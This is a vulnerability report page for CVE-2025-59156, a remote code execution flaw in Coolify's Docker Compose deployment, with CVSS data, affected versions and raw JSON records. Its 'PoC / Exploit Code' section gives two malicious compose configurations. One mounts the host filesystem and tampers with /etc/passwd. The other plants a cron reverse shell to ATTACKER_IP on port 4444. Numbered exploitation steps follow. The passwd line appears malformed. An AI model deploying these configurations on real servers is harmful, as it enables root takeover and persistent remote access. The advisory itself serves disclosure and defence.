Security Vulnerability Report
中文
CVE-2025-59156 CVSS 8.8 HIGH

CVE-2025-59156

Published: 2026-01-05 18:15:43
Last Modified: 2026-01-12 15:03:44

Description

Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to version 4.0.0-beta.420.7, a Remote Code Execution (RCE)*vulnerability exists in Coolify's application deployment workflow. This flaw allows a low-privileged member to inject arbitrary Docker Compose directives during project creation or updates. By defining a malicious service that mounts the host filesystem, an attacker can achieve root-level command execution on the host OS, completely bypassing container isolation. Version 4.0.0-beta.420.7 contains a patch for the issue.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:coollabs:coolify:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:coollabs:coolify:4.0.0:beta100:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:coollabs:coolify:4.0.0:beta101:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:coollabs:coolify:4.0.0:beta102:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:coollabs:coolify:4.0.0:beta103:*:*:*:*:*:* - VULNERABLE
Coolify < 4.0.0-beta.420.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59156 Coolify RCE PoC # Malicious Docker Compose configuration for Coolify deployment # This PoC demonstrates how to mount host filesystem to achieve RCE malicious_compose_config = """ version: '3.8' services: malicious-service: image: alpine:latest volumes: - /:/host # Mount entire host filesystem - /var/run/docker.sock:/var/run/docker.sock command: | sh -c "chroot /host /bin/sh -c \"echo 'root:0' >> /etc/passwd && chmod 777 /etc/passwd\"" """ # Alternative approach: Reverse shell via cron reverse_shell_compose = """ version: '3.8' services: pwned: image: ubuntu:22.04 volumes: - /:/host command: | sh -c "echo '* * * * * /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /host/etc/crontab" """ # Exploitation steps: # 1. Create new project in Coolify or update existing one # 2. Inject malicious Docker Compose configuration # 3. Deploy the project # 4. Gain root access on host system

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59156", "sourceIdentifier": "[email protected]", "published": "2026-01-05T18:15:43.197", "lastModified": "2026-01-12T15:03:44.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to version 4.0.0-beta.420.7, a Remote Code Execution (RCE)*vulnerability exists in Coolify's application deployment workflow. This flaw allows a low-privileged member to inject arbitrary Docker Compose directives during project creation or updates. By defining a malicious service that mounts the host filesystem, an attacker can achieve root-level command execution on the host OS, completely bypassing container isolation. Version 4.0.0-beta.420.7 contains a patch for the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.0", "matchCriteriaId": "FCAEF3B5-C3E0-4DC5-99AC-A9820DE3EA4D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta100:*:*:*:*:*:*", "matchCriteriaId": "DD128680-A34B-4D2A-B44A-53FC4E406393"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta101:*:*:*:*:*:*", "matchCriteriaId": "51CEE245-2E82-4928-A900-E7F628B47336"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta102:*:*:*:*:*:*", "matchCriteriaId": "B0C45118-3AE6-443B-8CD9-B2B72CD24383"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta103:*:*:*:*:*:*", "matchCriteriaId": "004E8E36-44E8-4F64-8E2D-8804DF161CD7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta104:*:*:*:*:*:*", "matchCriteriaId": "BC538E12-494F-47EF-8D53-2D7CDAED98BC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta105:*:*:*:*:*:*", "matchCriteriaId": "54F12C6A-07B5-42F9-9AE6-281AA189BFF2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta106:*:*:*:*:*:*", "matchCriteriaId": "A1936F5B-2A32-4353-A4EA-A337C3A2D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta107:*:*:*:*:*:*", "matchCriteriaId": "B3A90F6B-070F-469F-8206-AE9DFBCE6B61"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta108:*:*:*:*:*:*", "matchCriteriaId": "EB776310-84B4-4CC8-B547-5D6A37EF5ECC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta109:*:*:*:*:*:*", "matchCriteriaId": "BF168BC8-E283-40FB-9B28-D048C25BD36F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta110:*:*:*:*:*:*", "matchCriteriaId": "7DDE09ED-3AF5-4B0E-9F69-3B7B05862A7C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta111:*:*:*:*:*:*", ... (truncated)